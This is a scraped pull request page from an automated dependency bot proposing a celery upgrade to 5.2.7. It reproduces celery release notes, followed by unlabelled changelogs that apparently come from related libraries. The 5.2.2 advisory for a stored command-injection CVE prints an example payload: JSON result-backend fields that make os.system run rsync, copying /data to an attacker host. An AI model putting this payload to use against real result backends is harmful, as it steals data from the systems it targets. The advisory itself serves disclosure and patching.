betterself icon indicating copy to clipboard operation
betterself copied to clipboard

Update celery to 5.2.7

Open pyup-bot opened this issue 2 years ago • 0 comments

This PR updates celery from 4.1.0 to 5.2.7.

Changelog

5.2.7

=====

:release-date: 2022-5-26 12:15 P.M UTC+2:00
:release-by: Omer Katz

- Fix packaging issue which causes poetry 1.2b1 and above to fail install Celery (7534).

.. _version-5.2.6:

5.2.6

=====

:release-date: 2022-4-04 21:15 P.M UTC+2:00
:release-by: Omer Katz

- load_extension_class_names - correct module_name (7433).
 This fixes a regression caused by 7218.

.. _version-5.2.5:

5.2.5

=====

:release-date: 2022-4-03 20:42 P.M UTC+2:00
:release-by: Omer Katz

**This release was yanked due to a regression caused by the PR below**

- Use importlib instead of deprecated pkg_resources (7218).

.. _version-5.2.4:

5.2.4

=====

:release-date: 2022-4-03 20:30 P.M UTC+2:00
:release-by: Omer Katz

- Expose more debugging information when receiving unknown tasks (7404).

.. _version-5.2.3:

5.2.3

=====

:release-date: 2021-12-29 12:00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta (6998).
- Split Signature.__or__ into subclasses' __or__ (7135).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.


.. _version-5.2.2:

5.2.2

=====

:release-date: 2021-12-26 16:30 P.M UTC+2:00
:release-by: Omer Katz

- Various documentation fixes.
- Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

 When a task fails, the failure information is serialized in the backend.
 In some cases, the exception class is only importable from the
 consumer's code base. In this case, we reconstruct the exception class
 so that we can re-raise the error on the process which queried the
 task's result. This was introduced in 4836.
 If the recreated exception type isn't an exception, this is a security issue.
 Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
 ``os.system("rsync /data attacker192.168.56.100:~/data")``
 by setting the task's result to a failure in the result backend with the os,
 the system function as the exception type and the payload ``rsync /data attacker192.168.56.100:~/data`` as the exception arguments like so:

 .. code-block:: python

     {
           "exc_module": "os",
           'exc_type': "system",
           "exc_message": "rsync /data attacker192.168.56.100:~/data"
     }

 According to my analysis, this vulnerability can only be exploited if
 the producer delayed a task which runs long enough for the
 attacker to change the result mid-flight, and the producer has
 polled for the task's result.
 The attacker would also have to gain access to the result backend.
 The severity of this security vulnerability is low, but we still
 recommend upgrading.


.. _version-5.2.1:

5.2.1

=====

:release-date: 2021-11-16 8.55 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
- Remove dependency to case (7077).
- fix: task expiration is timezone aware if needed (7065).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.


.. _version-5.2.0:

5.2.0

=====

:release-date: 2021-11-08 7.15 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Prevent from subscribing to empty channels (7040)
- fix register_task method.
- Fire task failure signal on final reject (6980)
- Limit pymongo version: <3.12.1 (7041)
- Bump min kombu version to 5.2.1

.. _version-5.2.0rc2:

5.2.0rc2

========

:release-date: 2021-11-02 1.54 P.M UTC+3:00
:release-by: Naomi Elstein

- Bump Python 3.10.0 to rc2.
- [pre-commit.ci] pre-commit autoupdate (6972).
- autopep8.
- Prevent worker to send expired revoked items upon hello command (6975).
- docs: clarify the 'keeping results' section (6979).
- Update deprecated task module removal in 5.0 documentation (6981).
- [pre-commit.ci] pre-commit autoupdate.
- try python 3.10 GA.
- mention python 3.10 on readme.
- Documenting the default consumer_timeout value for rabbitmq >= 3.8.15.
- Azure blockblob backend parametrized connection/read timeouts (6978).
- Add as_uri method to azure block blob backend.
- Add possibility to override backend implementation with celeryconfig (6879).
- [pre-commit.ci] pre-commit autoupdate.
- try to fix deprecation warning.
- [pre-commit.ci] pre-commit autoupdate.
- not needed anyore.
- not needed anyore.
- not used anymore.
- add github discussions forum

.. _version-5.2.0rc1:

5.2.0rc1

========
:release-date: 2021-09-26 4.04 P.M UTC+3:00
:release-by: Omer Katz

- Kill all workers when main process exits in prefork model (6942).
- test kombu 5.2.0rc1 (6947).
- try moto 2.2.x (6948).
- Prepared Hacker News Post on Release Action.
- update setup with python 3.7 as minimum.
- update kombu on setupcfg.
- Added note about automatic killing all child processes of worker after its termination.
- [pre-commit.ci] pre-commit autoupdate.
- Move importskip before greenlet import (6956).
- amqp: send expiration field to broker if requested by user (6957).
- Single line drift warning.
- canvas: fix kwargs argument to prevent recursion (6810) (6959).
- Allow to enable Events with app.conf mechanism.
- Warn when expiration date is in the past.
- Add the Framework :: Celery trove classifier.
- Give indication whether the task is replacing another (6916).
- Make setup.py executable.
- Bump version: 5.2.0b3 → 5.2.0rc1.

.. _version-5.2.0b3:

5.2.0b3

=======

:release-date: 2021-09-02 8.38 P.M UTC+3:00
:release-by: Omer Katz

- Add args to LOG_RECEIVED (fixes 6885) (6898).
- Terminate job implementation for eventlet concurrency backend (6917).
- Add cleanup implementation to filesystem backend (6919).
- [pre-commit.ci] pre-commit autoupdate (69).
- Add before_start hook (fixes 4110) (6923).
- Restart consumer if connection drops (6930).
- Remove outdated optimization documentation (6933).
- added https verification check functionality in arangodb backend (6800).
- Drop Python 3.6 support.
- update supported python versions on readme.
- [pre-commit.ci] pre-commit autoupdate (6935).
- Remove appveyor configuration since we migrated to GA.
- pyugrade is now set to upgrade code to 3.7.
- Drop exclude statement since we no longer test with pypy-3.6.
- 3.10 is not GA so it's not supported yet.
- Celery 5.1 or earlier support Python 3.6.
- Fix linting error.
- fix: Pass a Context when chaining fail results (6899).
- Bump version: 5.2.0b2 → 5.2.0b3.

.. _version-5.2.0b2:

5.2.0b2

=======

:release-date: 2021-08-17 5.35 P.M UTC+3:00
:release-by: Omer Katz

- Test windows on py3.10rc1 and pypy3.7 (6868).
- Route chord_unlock task to the same queue as chord body (6896).
- Add message properties to app.tasks.Context (6818).
- handle already converted LogLevel and JSON (6915).
- 5.2 is codenamed dawn-chorus.
- Bump version: 5.2.0b1 → 5.2.0b2.

.. _version-5.2.0b1:

5.2.0b1

=======

:release-date: 2021-08-11 5.42 P.M UTC+3:00
:release-by: Omer Katz

- Add Python 3.10 support (6807).
- Fix docstring for Signal.send to match code (6835).
- No blank line in log output (6838).
- Chords get body_type independently to handle cases where body.type does not exist (6847).
- Fix 6844 by allowing safe queries via app.inspect().active() (6849).
- Fix multithreaded backend usage (6851).
- Fix Open Collective donate button (6848).
- Fix setting worker concurrency option after signal (6853).
- Make ResultSet.on_ready promise hold a weakref to self (6784).
- Update configuration.rst.
- Discard jobs on flush if synack isn't enabled (6863).
- Bump click version to 8.0 (6861).
- Amend IRC network link to Libera (6837).
- Import celery lazily in pytest plugin and unignore flake8 F821, "undefined name '...'" (6872).
- Fix inspect --json output to return valid json without --quiet.
- Remove celery.task references in modules, docs (6869).
-  The Consul backend must correctly associate requests and responses (6823).


Changelog

All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

Unreleased

[v0.4.0-rcn.11](https://github.com/rusty-celery/rusty-celery/releases/tag/v0.4.0-rcn.11) - 2021-10-07

Fixed

- Fixed SemVer ordering.

[v0.4.0-rc10](https://github.com/rusty-celery/rusty-celery/releases/tag/v0.4.0-rc10) - 2021-08-30

Fixed

- Fixed another bug with the `app!` and `beat!` related to issue [250](https://github.com/rusty-celery/rusty-celery/issues/250).

[v0.4.0-rc8](https://github.com/rusty-celery/rusty-celery/releases/tag/v0.4.0-rc8) - 2021-08-05

Changed

- ⚠️ **BREAKING CHANGE** ⚠️

The `RegularSchedule` in the `beat` module has been renamed to `DeltaSchedule` to
be more coherent with Python Celery terminology, where it is sometimes called *timedelta*.
- Tokio updated to 1.0.0.
- The `Broker::configure_task_routes` produces `BrokerError` instead of `CeleryError`.
- The `beat` macro now expects a list of tasks that is used to initialize the scheduler.
- Errors have been refactored:
* The `BadRoutingPattern` variant has been moved from `CeleryError` to `BrokerError`;
* The `CronScheduleError` has been replaced by a `ScheduleError` enum with a `CronScheduleError` variant;
* A `ScheduleError` variant has been added to `BeatError`
* A `BadRoutingPattern` error has been added.

Added

- 🚀🚀 Redis broker support 🚀🚀
- Added the `max_sleep_duration` property on the `Beat` which can be used to ensure that
the scheduler backend is called regularly (which may be necessary for custom backends).
- Added a method `Beat::schedule_named_task` to add a scheduled task with a custom name.
- Added a method `Broker::cancel` to cancel an existing consumer.
- Changed `Ok` variant type of the the return type of `Broker::consume`. This is now a tuple that includes a unique
consumer tag that can then be passed to `Broker::cancel` to cancel the corresponding consumer.
- Added a "coverage" job to GitHub Actions.
- Completed MessageBuilder struct

Fixed

- Fixed a bug with `AMQPBroker::close()` that would result in an error with `lapin`.
- Fixed a bug with the `celery::app!` macro that caused it to fail to compile when the broker connection string was passed as a variable instead of an expression.

[v0.4.0-rc5](https://github.com/rusty-celery/rusty-celery/releases/tag/v0.4.0-rc5) - 2020-11-19

Added

- Added the `CronSchedule` struct to support Celery's
[crontab](https://docs.celeryproject.org/en/stable/reference/celery.schedules.html#celery.schedules.crontab)
schedules.

Changed

- ⚠️ **BREAKING CHANGE** ⚠️

To improve the `app!` and `beat!` macros and accommodate custom `Broker`s and `SchedulerBackend`s,
we've had to make breaking changes to the way these macros are invoked.

The biggest change is that the macros now return a future of `Result<Celery>` or `Result<Beat>`.
This means you must now call `.await?` on the return value of the macro.

The other change is that you must now supply the actual `Broker` type.
Previously, you could write something like `broker = AMQP { "amqp://my-broker-url" }`,
but now you have to write it like `broker = celery::broker::AMQPBroker { "amqp://my-broker-url" }`.

For a concrete example of these changes, the old way looked like this:


rust
[tokio::main]
async fn main() -> anyhow::Result<()> {
   let app = celery::app!(
       broker = AMQP { "amqp://my-broker-url" },
       tasks = [add],
       task_routes = ["*" => "celery"],
   );

   // ...

   Ok(())
}


Whereas now that will look like this:

rust
[tokio::main]
async fn main() -> anyhow::Result<()> {
   let app = celery::app!(
       broker = celery::broker::AMQPBroker { "amqp://my-broker-url" },
       tasks = [add],
       task_routes = ["*" => "celery"],
   ).await?;

   // ...

   Ok(())
}


- Celery apps no longer need to have static lifetimes. To remove this constraint, we changed
`Celery::consume` to take `&Arc<Self>` instead of a static reference to `self`.
- Now using `tokio-amqp` internally with `lapin`.
- Drop explicit dependency on amq-protocol.

Fixed

- Task ID now logged when a beat app sends a task.
- Fixes to docs. Added a "Build Docs" job to GitHub Actions.
- Fixed a Celery beat [issue](https://github.com/rusty-celery/rusty-celery/issues/199)
that caused a task to be dropped if its scheduled run was delayed

5.1.1

=====
:release-date: 2022-04-17 12:45 P.M. UTC+6:00
:release-by: Asif Saif Uddin

- Use AF_UNSPEC for name resolution (389).


.. _version-5.1.0:

5.1.0

=====
:release-date: 2022-03-06 10:05 A.M. UTC+6:00
:release-by: Asif Saif Uddin

- Improve performance of _get_free_channel_id, fix channel max bug (385).
- Document memoryview usage, minor frame_writer.write_frame refactor (384).
- Start dropping python 3.6 (387).
- Added experimental __slots__ to some classes (368)
- Relaxed vine version for upcoming release.
- Upgraded topytest 7 (388).


.. _version-5.0.9:

5.1.0b1

=======
:release-date: 2021-04-01 10:30 P.M UTC+6:00
:release-by: Asiff Saif Uddin

- Wheels are no longer universal.
- Revert "Added redis transport key_prefix from envvars".
- Redis Transport: Small improvements of `SentinelChannel` (1253).
- Fix pidbox not using default channels.
- Revert "on worker restart - restore visible regardless to time (905)".
- Add vine to dependencies.
- Pin urllib3<1.26 to fix failing unittests.
- Add timeout to producer publish (1269).
- Remove python2 compatibility code (1277).
- redis: Support Sentinel with SSL.
- Support for Azure Service Bus 7.0.0 (1284).
- Allow specifying session token (1283).
- kombu/asynchronous/http/curl: implement _set_timeout.
- Disable namedtuple to object feature in simplejson (1297).
- Update to tox docker 2.0.
- SQS back-off policy (1301).
- Fixed SQS unittests.
- Fix: non kombu json message decoding in SQS transport (1306).
- Add Github Actions CI (1309).
- Update default pickle protocol version to 4 (1314).
- Update connection.py (1311).
- Drop support for the lzma backport.
- Drop obsolete code importing pickle (1315).
- Update default login method for librabbitmq and pyamqp (936).
- SQS Broker - handle STS authentication with AWS (1322).
- Min py-amqp version is v5.0.6 (1325).
- Numerous docs & example fixes.
- Use a thread-safe implementation of cached_property (1316).


.. _version-5.0.2:

5.0.9

=====
:release-date: 2021-12-20 11:00 A.M. UTC+6:00
:release-by: Asif Saif Uddin

- Append to _used_channel_ids in _used_channel_ids


.. _version-5.0.8:

5.0.8

=====
:release-date: 2021-12-19 11:15 A.M. UTC+6:00
:release-by: Asif Saif Uddin

- Reduce memory usage of Connection (377)
- Add additional error handling around code where an OSError 
may be raised on failed connections. Fixes (378)


.. _version-5.0.7:

5.0.7

=====
:release-date: 2021-12-13 15:45 P.M. UTC+6:00
:release-by: Asif Saif Uddin

- Remove dependency to case
- Bugfix: not closing socket after server disconnect 


.. _version-5.0.6:

5.0.6

=====
:release-date: 2021-04-01 10:45 A.M. UTC+6:00
:release-by: Asif Saif Uddin

- Change the order in which context.check_hostname and context.verify_mode get set
in SSLTransport._wrap_socket_sni. Fixes bug introduced in 5.0.3 where setting
context.verify_mode = ssl.CERT_NONE would raise
"ValueError: Cannot set verify_mode to CERT_NONE when check_hostname is enabled."
Setting context.check_hostname prior to setting context.verify_mode resolves the
issue.
- Remove TCP_USER_TIMEOUT option for Solaris (355) 
- Pass long_description to setup() (353)
- Fix for tox-docker 2.0
- Moved to GitHub actions CI (359)

.. _version-5.0.5:

5.0.5

=====
:release-date: 2021-01-28 4:30 P.M UTC+6:00
:release-by: Asif Saif Uddin

-  Removed mistakenly introduced code which was causing import errors



.. _version-5.0.4:

5.0.4

=====
:release-date: 2021-01-28 2:30 P.M UTC+6:00
:release-by: Asif Saif Uddin

-  Add missing load_default_certs() call to fix a regression in v5.0.3 release. (350)


.. _version-5.0.3:

5.0.3

=====
:release-date: 2021-01-19 9:00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Change the default value of ssl_version to None. When not set, the
proper value between ssl.PROTOCOL_TLS_CLIENT and ssl.PROTOCOL_TLS_SERVER
will be selected based on the param server_side in order to create
a TLS Context object with better defaults that fit the desired
connection side.

- Change the default value of cert_reqs to None. The default value
of ctx.verify_mode is ssl.CERT_NONE, but when ssl.PROTOCOL_TLS_CLIENT
is used, ctx.verify_mode defaults to ssl.CERT_REQUIRED.

- Fix context.check_hostname logic. Checking the hostname depends on
having support of the SNI TLS extension and being provided with a
server_hostname value. Another important thing to mention is that
enabling hostname checking automatically sets verify_mode from
ssl.CERT_NONE to ssl.CERT_REQUIRED in the stdlib ssl and it cannot
be set back to ssl.CERT_NONE as long as hostname checking is enabled.

- Refactor the SNI tests to test one thing at a time and removing some
tests that were being repeated over and over.



.. _version-5.0.2:

5.0.2

=====
:release-date: 2020-11-08 6:50 P.M UTC+3:00
:release-by: Omer Katz

- Whhels are no longer universal.

Contributed by **Omer Katz**

- Added debug representation to Connection and *Transport classes

Contributed by **Matus Valo**

- Reintroduce ca_certs and ciphers parameters of SSLTransport._wrap_socket_sni()

This fixes issue introduced in commit: 53d6777

Contributed by **Matus Valo**

- Fix infinite wait when using confirm_publish

Contributed by **Omer Katz** & **RezaSi**

.. _version-5.0.1:

5.0.1

=====
:release-date: 2020-09-06 6:10 P.M UTC+3:00
:release-by: Omer Katz

- Require vine 5.0.0.

Contributed by **Omer Katz**

.. _version-5.0.0:

5.0.0

=====
:release-date: 2020-09-03 3:20 P.M UTC+3:00
:release-by: Omer Katz

- Stop to use deprecated method ssl.wrap_socket.

Contributed by **Hervé Beraud**

.. _version-5.0.0b1:

5.0.0b1

=======
:release-date: 2020-09-01 6:20 P.M UTC+3:00
:release-by: Omer Katz

- Dropped Python 3.5 support.

Contributed by **Omer Katz**

- Removed additional compatibility code.

Contributed by **Omer Katz**

.. _version-5.0.0a1:

5.0.0a1

=======
:release-date: 2019-04-01 4:30 P.M UTC+3:00
:release-by: Omer Katz

- Dropped Python 2.x support.

Contributed by **Omer Katz**

- Dropped Python 3.4 support.

Contributed by **Omer Katz**

- Depend on :pypi:`vine` 5.0.0a1.

Contributed by **Omer Katz**

Code Cleanups & Improvements:

- **Omer Katz**


.. _version-2.6.0:

4.6.11

=======
:release-date: 2020-06-24 1.15 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Revert incompatible changes in 1193 and additional improvements (1211)
- Default_channel should reconnect automatically (1209)


.. _version-4.6.10:

4.6.10

======
:release-date: 2020-06-03 10.45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Doc improvement.
- set _connection in _ensure_connection (1205)
- Fix for the issue 1172
- reuse connection [bug fix]


.. _version-4.6.9:

4.6.9

=====
:release-date: 2020-06-01 14.00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Prevent failure if AWS creds are not explicitly defined on predefined.
- Raise RecoverableConnectionError in maybe_declare with retry on and.
- Fix for the issue 1172 .
- possible fix for 1174 .
- Fix: make SQLAlchemy Channel init thread-safe
- Added integration testing infrastructure for RabbitMQ
- Initial redis integration tests implementation
- SQLAlchemy transport: Use Query.with_for_update() instead of deprecated
- Fix Consumer Encoding
- Added Integration tests for direct, topic and fanout exchange types
- Added TTL integration tests
- Added integration tests for priority queues
- fix 100% cpu usage on linux while using sqs
- Modified Mutex to use redis LuaLock implementation
- Fix: eliminate remaining race conditions from SQLAlchemy Channel
- Fix connection imaybe_declare (1196)
- Fix for issue 1198: Celery crashes in cases where there aren’t enough
- Ensure connection when connecting to broker
- update pyamqp to 2.6 with optional cythonization

.. _version-4.6.8:

4.6.8

=====
:release-date: 2020-03-29 20:45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Added support for health_check_interval option in broker_transport_options (1145)
- Added retry_on_timeout parameter to Redis Channel (1150)
- Added support for standard values for ssl_cert_reqs query parameter for Redis (1139)
- Added predefined_queues option to SQS transport (1156)
- Added ssl certificate verification against ca certificates when amqps is used for pyamqp transport (1151)
- Fix issue (701) where kombu.transport.redis.Mutex is broken in python 3 (1141)
- Fix brop error in Redis Channel (1144)

.. _version-4.6.7:

4.6.7

=====
:release-date: 2019-12-07 20:45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Use importlib.metadata from the standard library on Python 3.8+ (1086).
- Add peek lock settings to be changed using transport options (1119).
- Fix redis health checks (1122).
- Reset ready before execute callback (1126).
- Add missing parameter queue_args in kombu.connection.SimpleBuffer (1128)

.. _version-4.6.6:

4.6.6

=====
:release-date: 2019-11-11 00:15 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Revert _lookup_direct and related changes of redis.
- Python 3.8 support
- Fix 'NoneType' object has no attribute 'can_read' bug of redis transport
- Issue 1019 Fix redis transport socket timeout
- Add wait timeout settings to receive queue message (1110)
- Bump py-amqp to 2.5.2

.. _version-4.6.5:

4.6.5

=====
:release-date: 2019-09-30 19:30 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Revert _lookup api and correct redis implemetnation.
- Major overhaul of redis test cases by adding more full featured fakeredis module.
- Add more test cases to boost coverage of kombu redis transport.
- Refactor the producer consumer test cases to be based on original mocks and be passing
- Fix lingering line length issue in test.
- Sanitise url when include_password is false
- Pinned pycurl to 7.43.0.2 as it is the latest build with wheels provided
- Bump py-amqp to 2.5.2


.. _version-4.6.4:

4.6.4

=====
:release-date: 2019-08-14 22:45 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Use importlib-metadata instead of pkg_resources for better performance
- Allow users to switch URLs while omitting the resource identifier (1032)
- Don't stop receiving tasks on 503 SQS error. (1064)
- Fix maybe declare (1066)
- Revert "Revert "Use SIMEMBERS instead of SMEMBERS to check for queue (Redis Broker)
- Fix MongoDB backend to work properly with TTL (1076)
- Make sure that max_retries=0 is treated differently than None (1080)
- Bump py-amqp to 2.5.1


.. _version-4.6.3:

4.6.3

=====
:release-date: 2019-06-15 12:45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Revert FastUUID for kombu 4.6


.. _version-4.6.2:

4.6.2

=====
:release-date: 2019-06-15 12:45 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Fix sbugs and regressions


.. _version-4.6.1:

4.6.1

=====
:release-date: 2019-06-06 10:30 A.M UTC+6:00
:release-by: Asif Saif Uddin

- Fix some newly introduced bug in kombu 4.6

.. _version-4.6.0:

4.6.0

=====
:release-date: 2019-05-30 15:30 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Dropped python 3.4

- Bump py-amqp to 2.5.0

- Use SIMEMBERS instead of SMEMBERS to check for queue (redis broker)

* Add `_lookup_direct` method to virtual channel. (994)

Add possibility to optimize lookup for queue in direct
exchange set.

* Add `_lookup_direct` method to redis virtual channel. (994)

Use `SISMEMBER` instead of `SMEMBERS` command to check if queue
exists in a set. Time complexity is increased from O(N) to O(1)
where N is the set cardinality.

Contributed by **Stevan Milic** and **Asif Saif Uddin**

- Include priority in properties only if it's not None.
Since we attempt to serialize the priority property if it exists
in the dictionary it must be an integer.

Contributed by **Omer Katz**

- Removed dangerous default mutable arguments from function
definitions where appropriate.

Contributed by **Todd Cook**

- Codebase improvements and fixes by:

- **Omer Katz**
- **Asif Saif Uddin**

.. _version-4.5.0:

4.5.0

=====
:release-date: 2019-03-3 18:30 P.M UTC+3:00
:release-by: Omer Katz

- The Redis transport now supports a custom separator for keys.

Previously when storing a key in Redis which represents a queue
we used the hardcored value ``\x06\x16`` separator to store
different attributes of the queue in the queue's name.

The separator is now configurable using the sep
transport option:

.. code-block:: python

 with Connection('redis://', transport_options={
         'sep': ':',
     }):
      ...
     pass

Contributed by **Joris Beckers**

- When the SQS server returns a timeout we ignore it and keep trying
instead of raising an error.

This will prevent Celery from raising an error and hanging.

Contributed by **Erwin Rossen**

- Properly declare async support for the Qpid transport.

If you are using this transport we strongly urge you to upgrade.

Contributed by **Rohan McGovern**

- Revert `celery/kombu906 <https://github.com/celery/kombu/pull/906>`_ and
introduce unique broadcast queue names as an optional keyword argument.

If you want each broadcast queue to have a unique name specify `unique=True`:

.. code-block:: pycon

 >>> from kombu.common import Broadcast
 >>> q = Broadcast(queue='foo', unique=True)
 >>> q.name
 'foo.7ee1ac20-cda3-4966-aaf8-e7a3bb548688'
 >>> q = Broadcast(queue='foo')
 >>> q.name
 'foo'

- Codebase improvements and fixes by:

- **Omer Katz**

.. _version-4.4.0:

4.4.0

=====
:release-date: 2019-03-3 9:00 P.M UTC+2:00
:release-by: Omer Katz

- Restore bz2 import checks in compression module.

The checks were removed in `celery/kombu938 <https://github.com/celery/kombu/pull/938>`_ due to assumption that it only affected Jython.
However, bz2 support can be missing in Pythons built without bz2 support.

Contributed by **Patrick Woods**

- Fix regression that occurred in 4.3.0
when parsing  Redis Sentinel master URI containing password.

Contributed by **Peter Lithammer**

- Handle the case when only one Redis Sentinel node is provided.

Contributed by **Peter Lithammer**

- Support SSL URL parameters correctly for `rediss://`` URIs.

Contributed by **Paul Bailey**

- Revert `celery/kombu954 <https://github.com/celery/kombu/pull/954>`_.
Instead bump the required redis-py dependency to 3.2.0
to include this fix `andymccurdy/redis-py4e1e748 <https://github.com/andymccurdy/redis-py/commit/4e1e74809235edc19e03edb79c97c80a3e4e9eca>`_.

Contributed by **Peter Lithammer**

- Added support for broadcasting using a regular expression pattern
or a glob pattern to multiple Pidboxes.

Contributed by **Jason Held**

.. _version-4.3.0:

4.3.0

=====
:release-date: 2019-01-14 7:00 P.M UTC+2:00
:release-by: Omer Katz

- Added Python 3.7 support.

Contributed by **Omer Katz**, **Mads Jensen** and **Asif Saif Uddin**

- Avoid caching queues which are declared with a TTL.

Queues that are declared with a TTL are now also be excluded from the
in-memory cache in case they expire between publishes on the same channel.

Contributed by **Matt Yule-Bennett**

- Added an index to the Message table for the SQLAlchemy transport.

The index allows to effectively sorting the table by the message's timestamp.

.. note::

 We do not provide migrations for this model yet.
 You will need to add the index manually if you are already
 using the SQLAlchemy transport.

 The syntax may vary between databases.
 Please refer to your database's documentation for instructions.

Contributed by **Mikhail Shcherbinin**

- Added a timeout that limits the amount of time we retry
to reconnect to a transport.

Contributed by **:github_user:`tothegump`**

- :class:``celery.asynchronous.hub.Hub`` is now reentrant.

This allows calling :func:`celery.bin.celery.main` to revive a worker in
the same process after rescuing from shutdown (:class:``SystemExit``).

Contributed by **Alan Justino da Silva**

- Queues now accept string exchange names as arguments as documented.

Tests were added to avoid further regressions.

Contributed by **Antonio Gutierrez**

- Specifying names for broadcast queues now work as expected.

Previously, named broadcast queues did not create multiple queues per worker.
They incorrectly declared the named queue which resulted in one queue per
fanout exchange, thus missing the entire point of a fanout exchange.
The behavior is now matched to unnamed broadcast queues.

Contributed by **Kuan Hsuan-Tso**

- When initializing the Redis transport in conjunction with gevent
restore all unacknowledged messages to queue.

Contributed by **Gal Cohen**

- Allow :class:``kombu.simple.SimpleQueue`` to pass queue_arguments to Queue object.

This allows :class:``kombu.simple.SimpleQueue`` to connect to RabbitMQ queues with
custom arguments like 'x-queue-mode'='lazy'.

Contributed by **C Blue Neeh**

- Add support for 'rediss' scheme for secure Redis connections.

The rediss scheme defaults to the least secure form, as
there is no suitable default location for `ca_certs`. The recommendation
would still be to follow the documentation and specify `broker_use_ssl` if
coming from celery.

Contributed by **Daniel Blair**

- Added the Azure Storage Queues transport.

The transport is implemented on top of Azure Storage
Queues. This offers a simple but scalable and low-cost PaaS
transport for Celery users in Azure. The transport is intended to be
used in conjunction with the Azure Block Blob Storage backend.

Contributed by **Clemens Wolff**, **:github_user:`ankurokok`**,
**Denis Kisselev**, **Evandro de Paula**, **Martin Peck**
and **:github_user:`michaelperel`**

- Added the Azure Service Bus transport.

The transport is implemented on top of Azure Service Bus and
offers PaaS support for more demanding Celery workloads in Azure.
The transport is intended to be used in conjunction with the Azure
CosmosDB backend.

Contributed by **Clemens Wolff**, **:github_user:`ankurokok`**,
**Denis Kisselev**, **Evandro de Paula**, **Martin Peck**
and **:github_user:`michaelperel`**

- Drop remaining mentions of Jython support completely.

Contributed by **Asif Saif Uddin** and **Mads Jensen**

- When publishing messages to the Pidbox, retry if an error occurs.

Contributed by **Asif Saif Uddin**

- Fix infinite loop in :method:``kombu.asynchronous.hub.Hub.create_loop``.

Previous attempt to fix the problem (PR kombu/760) did not consider
an edge case. It is now fixed.

Contributed by **Vsevolod Strukchinsky**

- Worker shutdown no longer duplicates messages when using the SQS broker.

Contributed by **Mintu Kumar Sah**

- When using the SQS broker, prefer boto's default region before our hardcoded default.

Contributed by **Victor Villas**

- Fixed closing of shared redis sockets which previously caused Celery to hang.

Contributed by **Alexey Popravka**

- the `Pyro`_ transport (:mod:`kombu.transport.pyro`) now works with
recent Pyro versions. Also added a Pyro Kombu Broker that this transport
needs for its queues.

Contributed by **Irmen de Jong**

- Handle non-base64-encoded SQS messages.

Fix contributed by **Tim Li**, **Asif Saif Uddin** and **Omer Katz**.

- Move the handling of Sentinel failures to the redis library itself.

Previously, Redis Sentinel worked only if the first node's sentinel
service in the URI was up. A server outage would have caused downtime.

Contributed by **Brian Price**

- When using Celery and the pickle serializer with binary data as part of the
payload, `UnicodeDecodeError` would be raised as the content was not utf-8.
We now replace on errors.

Contributed by **Jian Dai**

- Allow setting :method:``boto3.sqs.create_queue`` Attributes via transport_options.

Contributed by **Hunter Fernandes**

- Fixed infinite loop when entity.channel is replaced by revive() on connection
drop.

Contributed by **Tzach Yarimi**

- Added optional support for Brotli compression.

Contributed by **Omer Katz**

- When using the SQS broker, FIFO queues with names that ended with the 'f' letter
were incorrectly parsed. This is now fixed.

Contributed by **Alex Vishnya** and **Ilya Konstantinov**

-  Added optional support for LZMA compression.

Contributed by **Omer Katz**

- Added optional support for ZStandard compression.

Contributed by **Omer Katz**

- Require py-amqp 2.4.0 as the minimum version.

Contributed by **Asif Saif Uddin**

- The value of DISABLE_TRACEBACKS environment variable is now respected on debug, info
and warning logger level.

Contributed by **Ludovic Rivallain**

- As documented in kombu/741 and eventlet/eventlet415
there is a mismatch between the monkey-patched eventlet queue
and the interface Kombu is expecting.
This causes Celery to crash when the `broker_pool_limit`
configuration option is set
eventlet/eventlet415 suggests that the mutex can be a noop.
This is now the case.

Contributed by **Josh Morrow**

- Codebase improvements and fixes by:

- **Omer Katz**
- **Mads Jensen**
- **Asif Saif Uddin**
- **Lars Rinn**

- Documentation improvements by:

- **Jon Dufresne**
- **Fay Cheng**
- **Asif Saif Uddin**
- **Kyle Verhoog**
- **Noah Hall**
- **:github_user:`brabiega`**

.. _version-4.2.2-post1:

4.2.2post1

===========
:release-date: 2019-01-01 04:00 P.M IST
:release-by: Omer Katz

.. note::

The previous release contained code from master.
It is now deleted from PyPi.
Please use this release instead.

- No changes since previous release.

.. _version-4.2.2:

4.2.2

=====
:release-date: 2018-12-06 04:30 P.M IST
:release-by: Omer Katz

- Support both Redis client version 2.x and version 3.x.

Contributed by **Ash Berlin-Taylor** and **Jeppe Fihl-Pearson**

.. _version-4.2.1:

4.2.1

=====
:release-date: 2018-05-21 09:00 A.M IST
:release-by: Omer Katz

.. note::

The 4.2.0 release contained remains of the ``async`` module by accident.
This is now fixed.

- Handle librabbitmq fileno raising a ValueError when socket is not connected.

Contributed by **Bryan Shelton**

.. _version-4.2.0:

4.2.0

=====
:release-date: 2018-05-21 09:00 A.M IST
:release-by: Omer Katz

- Now passing ``max_retries``, ``interval_start``, ``interval_step``,
``interval_max`` parameters from broker ``transport_options`` to
:meth:`~kombu.Connection.ensure_connection` when returning
